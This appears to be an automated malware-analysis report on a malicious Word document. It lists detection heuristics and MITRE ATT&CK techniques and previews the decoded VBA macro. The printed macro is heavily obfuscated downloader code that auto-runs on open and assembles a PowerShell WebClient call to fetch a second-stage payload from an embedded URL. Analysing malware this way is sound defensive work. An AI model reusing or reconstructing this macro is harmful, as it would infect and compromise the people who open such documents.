MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro. The macro utilizes a Shell() call, indicating an intent to execute arbitrary commands. This is further supported by the 'OLE_VBA_SHELL' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic firings. The macro itself is heavily obfuscated, but its presence and the use of Shell() strongly suggest it's a downloader for a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 88558 bytes |
SHA-256: 48912c1d5bfe19147b96c6cc88075e00b929942ae3c59cd455da8bbc6babf1f6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "MDDQSOoO"
Function KMzEzANiOc()
pPiHjMjRuH = Array(StrReverse("dRVijFJ"), StrReverse("bALAFnwPs"), StrReverse("ApsMXiAjzTfiz"), StrReverse("cCUDjQbQZHJYFC"), StrReverse("GnCzqmzHQt"), StrReverse("izIqjwBMXDTt"), StrReverse("bNjPlDzczMrj"), StrReverse("fJMcuDJuibI"))
QYYUTGwud = Mid("wN8f)sXx+sXx;JKTsXx+sp7F+p7FXxkasXx+sXxrsXx'+'+sXxaftt4i5MRYtHmCMUHM22", 4, 48)
YipLlbic = Array(StrReverse("QYpZEhG"), StrReverse("wfSZiXlv"), StrReverse("whiEPVijBk"), StrReverse("cKOPbNVmnwMM"), StrReverse("fwSIlRRrzXYOzw"), StrReverse("DGsDzWi"), StrReverse("RDwUCzIWjVkZ"), StrReverse("DaukSrfnp"))
aiqmncs = Array(StrReverse("XMWsfQnuTYcD"), StrReverse("VNuJlmRKGRsA"), StrReverse("JQjotlafNrckRw"), StrReverse("mJGjIsY"), StrReverse("OkworZRuiskHX"), StrReverse("ffrdEIVS"), StrReverse("TqNYwKLrBk"), StrReverse("VEwwiFwwzr"))
ErZzV = Array(StrReverse("cBGwYLjCd"), StrReverse("qWXdzuvTj"), StrReverse("lDOAvnLSMwni"), StrReverse("OnvkvMAHo"), StrReverse("THnrMfjb"), StrReverse("ZOjYmGDlAQqicH"), StrReverse("IpBKAHj"), StrReverse("wsutHvwnfWr"))
fQwrS = Mid("clnj0ixb'+'Clip7F+p7FsXx+sXxent;JKTnsadasdsXx+sXx sXx+sXx=sXx+sXx newsXx+sXx-obsXx+sXxjecsXx+s'+'XxtsXx+sXx randoms'+'Xx+sXx;Jsp7F+p7FXxp7F+p7F+IsXrl5vrlwsXa", 7, 138)
ZfclPRCL = Array(StrReverse("pjbibofoQUvK"), StrReverse("wiBUjSAiWzp"), StrReverse("iuuwMYVimBj"), StrReverse("SiXMNTFZtTwEEb"), StrReverse("irwSjmDt"), StrReverse("kqEvacrzzFCBvo"), StrReverse("CsPjPwqulM"), StrReverse("rnizJOpdbXPJw"))
ZackcNA = Array(StrReverse("CiOIdsbA"), StrReverse("wfrzijWdWboqm"), StrReverse("fsNvpBdKIkwC"), StrReverse("atjHfilwND"), StrReverse("ZLcJJvCSPwiQQw"), StrReverse("wNnXGAfJvkpT"), StrReverse("IBkSoTVd"), StrReverse("UBNijnbscP"))
zGPRz = Array(StrReverse("FHYbMAAwUCa"), StrReverse("QdoSJjnY"), StrReverse("SvlGfiUInZhzA"), StrReverse("luDZknrO"), StrReverse("YYPVQFbOjv"), StrReverse("nMmVhVjnjcsIP"), StrReverse("DXFKDlwDb"), StrReverse("hPJDCMLB"))
aERZYsv = Mid("6BGLh75AwNWrXnvosXx+sXxksXx+sXxe-Item(W2c", 14, 25)
RHmwW = Array(StrReverse("ukXLqwsu"), StrReverse("jYTbtKO"), StrReverse("QbzaHZtmJ"), StrReverse("UsiDHaIOXd"), StrReverse("csabbtvhlo"), StrReverse("YNbBSkmLdY"), StrReverse("XYBTcRtTfmk"), StrReverse("njWwjfwEYkwTU"))
SzbDjmrojUo = Array(StrReverse("MYYIirO"), StrReverse("DhrjQzDM"), StrReverse("WDcKsjkanSMc"), StrReverse("UQqFDtiPWSpd"), StrReverse("VkjQQGrVqHZsU"), StrReverse("ohuZCiSNapLvJ"), StrReverse("RzlnjzNzuWBF"), StrReverse("PiJRMjFqhcsm"))
ZXCiaKYGl = Array(StrReverse("HvXUJDKzf"), StrReverse("niiNZJJ"), StrReverse("ciCHZBpqBz"), StrReverse("PYIAcXzZdPlfUr"), StrReverse("oZzjMARt"), StrReverse("NQAVWiSCMBP"), StrReverse("iiCqcjfGqwi"), StrReverse("RMPrRlwwf"))
mSbzIZUa = Mid("m5HQsXxKTbcd =sXx+sXx bsp7F+p7FXx+'+'sXx1fhttp:sXx+sXx/sXx+sXx/s'+'Xx+sXxwww.sga.sksXx+sXxillsXx+sXxsgapanalyp7F+p7FsXxp7F+p7F+sXxsis.cosXx+sXxm/uQIcZUsXx+sXxVsXx+sXx/,sXx+sXxhttp'aNzoYjHnvflUqhkVMQrj", 5, 176)
zZhBTsWCq = Array(StrReverse("ZIKqFUzJDrWlLU"), StrReverse("onXXwtDiRYw"), StrReverse("DrjWsAha"), StrReverse("pDRhIbL"), StrReverse("mfBOfBuEVpFWa"), StrReverse("RHHtSTUikduVw"), StrReverse("GpoSrvfszwYp"), StrReverse("SXKcEizmKaPJr"))
pjEAos = Array(StrReverse("mMWcDzwjTSc"), StrReverse("KvztkQlnpPh"), StrReverse("DJObkbFRzBrp"), StrReverse("zjjJHfPnlB"), StrReverse("tYAfMrnXim"), StrReverse("tkVwrNKiIE"), StrReverse("ZkkFiijR"), StrReverse("SHuiMaZFGOTKhb"))
EbLtbB = Array(StrReverse("EiAXiozY"), StrReverse("cuKAPGQuQbo"), StrReverse("TwthcQw"), StrReverse("BIMhOCaGJE"), StrReverse("zaHVJiCLt"), StrReverse("swYTCljGpCX"), StrReverse("BiUiclM"), StrReverse("KlLLofLdkDa"))
TrSjIqzu = Mid("Z2DTA5aaYCpKXxgnvWp7F+p7FUsXx+p7F+p7FsXxtsXx+sXxYNq0pL9PVVP5ttU4imL", 13, 36)
BiKjHCE = Array(StrReverse("voInCcDtPlwP"), StrReverse("GMEnNoFmqnlRnF"), StrReverse("tkzsJwJqZwP"), StrR
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.